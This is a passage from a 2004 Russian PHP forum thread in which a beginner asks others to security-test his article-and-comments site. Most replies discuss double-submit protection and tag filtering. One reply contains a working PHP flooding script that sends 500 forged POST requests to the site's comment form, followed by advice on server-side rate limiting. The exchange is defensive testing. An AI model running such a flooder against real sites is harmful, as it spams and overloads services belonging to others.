Модераторы: skyboy, MoLeX, Aliance, ksnk

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Написал первый скрипт, протестите на безопасность и пр. 
:(
    Опции темы
Axxent
Дата 2.6.2004, 16:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 223
Регистрация: 25.3.2004
Где: Новосибирск

Репутация: 3
Всего: 5



Знаешь, если ты делаешь защиту от случайных повторных отправок, то JS - это самое то. Ну а если уж тебе надо защиту от хакеров, типа от заваливания твоих новостей одинаковыми сообщениями - ну, тогда наверное правда надо сделать таймаут ожидания после отправки сообщения на стороне сервера smile.gif
PM MAIL ICQ   Вверх
RaZoR
Дата 2.6.2004, 16:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 97
Регистрация: 6.5.2004
Где: Оренбург

Репутация: нет
Всего: 1



2Axxent
хорошо, тогда так и сделаю.. js.. посмотрим что выйдет.. хакеры если захотят, то все-равно взломают..
PM MAIL ICQ   Вверх
RaZoR
Дата 2.6.2004, 17:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 97
Регистрация: 6.5.2004
Где: Оренбург

Репутация: нет
Всего: 1



все, защиту от повторного нажатия сделал..
PM MAIL ICQ   Вверх
dargaard
Дата 2.6.2004, 19:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Экс. модератор
Сообщений: 450
Регистрация: 7.5.2004

Репутация: нет
Всего: 25



pri dobavlenii statii vse ravno mozhno ispolzovat' v opisanii nekotorie tagi
(pri etom sozdastsia statia bez vsiakogo nazvania;) )


--------------------
Ты должна сделать добро из зла 
потому что его больше не из чего
сделать. Р.П.Уоррен
PM MAIL WWW ICQ   Вверх
RaZoR
Дата 2.6.2004, 21:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 97
Регистрация: 6.5.2004
Где: Оренбург

Репутация: нет
Всего: 1



2dargaard
да, я знаю, я это еще не поправил.. скоро будет.. а пока на bbcode все передал.. ща залью..
Добавлено @ 21:10
и у картинок кое-что изменил..
PM MAIL ICQ   Вверх
RaZoR
Дата 3.6.2004, 15:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 97
Регистрация: 6.5.2004
Где: Оренбург

Репутация: нет
Всего: 1



сделал защиту от двойного нажатия при добавлении комментариев.. щас сделаю, чтобы нельзя было без названия добавлять статью..
PM MAIL ICQ   Вверх
Elfet
Дата 3.6.2004, 15:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Белый и Пушистый
****


Профиль
Группа: Awaiting Authorisation
Сообщений: 3776
Регистрация: 2.4.2003

Репутация: нет
Всего: 16



И ещё сразу лучше под хороший дизайн движок делать smile.gif


--------------------
PM MAIL WWW Skype   Вверх
RaZoR
Дата 3.6.2004, 16:19 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 97
Регистрация: 6.5.2004
Где: Оренбург

Репутация: нет
Всего: 1



Elfet
ну.. если есть движок, то под дизайн подстроить это 5 сек(т.к. все не шаблонах), а если делать сразу на хорошем дизайне(много картинок и пр.), то будет долго грузиться..
PM MAIL ICQ   Вверх
RaZoR
Дата 5.6.2004, 13:50 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 97
Регистрация: 6.5.2004
Где: Оренбург

Репутация: нет
Всего: 1



ну что, нету чтоли больше багов? если так, то всем спасибо за тесты.. буду дальше писать другие скрипты..
PM MAIL ICQ   Вверх
RaZoR
Дата 5.6.2004, 16:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 97
Регистрация: 6.5.2004
Где: Оренбург

Репутация: нет
Всего: 1



вот тут 3 статьи интересные есть. есть желание - прочитайте.. есть интересные статьи(рассказы) - добавляйте..
http://filmoscope.h12.ru/index.php?id=15
http://filmoscope.h12.ru/index.php?id=14
http://filmoscope.h12.ru/index.php?id=8
PM MAIL ICQ   Вверх
RaZoR
Дата 5.6.2004, 22:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 97
Регистрация: 6.5.2004
Где: Оренбург

Репутация: нет
Всего: 1



народ! сделал разделы, потестите плз! наверняка есть глюки..
PM MAIL ICQ   Вверх
RaZoR
Дата 9.6.2004, 15:52 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 97
Регистрация: 6.5.2004
Где: Оренбург

Репутация: нет
Всего: 1



ладно, всем спасибо, на этом думаю закончим тестирование. думаю багов больше нет.
PM MAIL ICQ   Вверх
yUAC
Дата 9.6.2004, 19:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 103
Регистрация: 9.6.2004

Репутация: 3
Всего: 3



Нипавезло твоим комментариям... Правда защита самого хостинга спасла. Так бы снесло нафиг там все smile.gif
PM MAIL   Вверх
RaZoR
Дата 9.6.2004, 19:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 97
Регистрация: 6.5.2004
Где: Оренбург

Репутация: нет
Всего: 1



yUAC
ого, эт ты как делал? прогой какой-нить? как можно защититься от этого?
PM MAIL ICQ   Вверх
yUAC
Дата 9.6.2004, 19:46 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 103
Регистрация: 9.6.2004

Репутация: 3
Всего: 3



Не поверишь, маленький скриптик написал:

Код

<?
$host='filmoscope.h12.ru';
$adr='/comments.php?id=2&part=main';
$ref='http://'.$host.$adr;
set_time_limit(0);
//**

// Формируем запрос.
echo '<!-- '.str_repeat('-',256).' -->';

for($i=0;$i<500;$i++)
{
$f = fsockopen($host, 80);

$query_str = "name=flooder&text=".urlencode('Flood number '.$i.', for stability additional is '.rand());

$output = "POST ".$adr." HTTP/1.0\n";
$output .= "Host: ".$host."\n";
$output .= "User-Agent: Hackzilla/5.0 (U; Windows Longhorn; en-US; rv:1.5) Gecko/2005/1007";
$output .= "Accept: application/microsoft-word;q=0.2,*/*;q=0.1\n";
$output .= "Accept-Language: ru,en;q=0.8,en-gb;q=0.5,en-us;q=0.3";

$output .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
$output .= "Keep-Alive: 300";
$output .= "Referer: ".$ref."\n";
$output .= "Content-Type: application/x-www-form-urlencoded\n";
$output .= "Content-Length: ".strlen($query_str)."\n";
$output .= "Connection: keep-alive\n\n";
$output .= $query_str;

fputs($f, $output);
fclose($f);
// Принимаем ответ.
/*$recieved = "";
while (!feof($f)) $recieved .= fgets($f, 500);
echo $recieved;*/
//**
echo '.&shy;';
flush();
}
?>


Хорошо флудит, между прочим. А защищаться довольно просто... Записывать в файлик дату последнего добавления сообщения для этого комментария. И первым делом её доставать, смотреть, если она скажем меньше 20 секунд, то выставить её опять на 20 секунд и сказать, что типа низя добавлять так часто комментарии. И все. Обычно помогает даже при такой атаке (конечно, парочка сообщений может «пробиться», но не более того)
PM MAIL   Вверх
Страницы: (3) Все 1 [2] 3 
Ответ в темуСоздание новой темы Создание опроса
Правила форума "PHP"
Aliance
IZ@TOP
skyboy
SamDark
MoLeX

Новичкам:

  • PHP редакторы собираются и обсуждаются здесь
  • Электронные книги по PHP, документацию можно найти здесь
  • Интерпретатор PHP, полную документацию можно скачать на PHP.NET

Важно:

  • Не брезгуйте пользоваться тегами [code=php]КОД[/code] для повышения читабельности текста/кода.
  • Перед созданием новой темы воспользуйтесь поиском и загляните в FAQ
  • Действия модераторов можно обсудить здесь

Внимание:

  • Темы "ищу скрипт", "подскажите скрипт" и т.п. будут переноситься в форум "Web-технологии"
  • Темы с именами: "Срочно", "помогите", "не знаю как делать" будут УДАЛЯТЬСЯ

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, IZ@TOP, skyboy, SamDark, MoLeX, awers.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | PHP: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0622 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.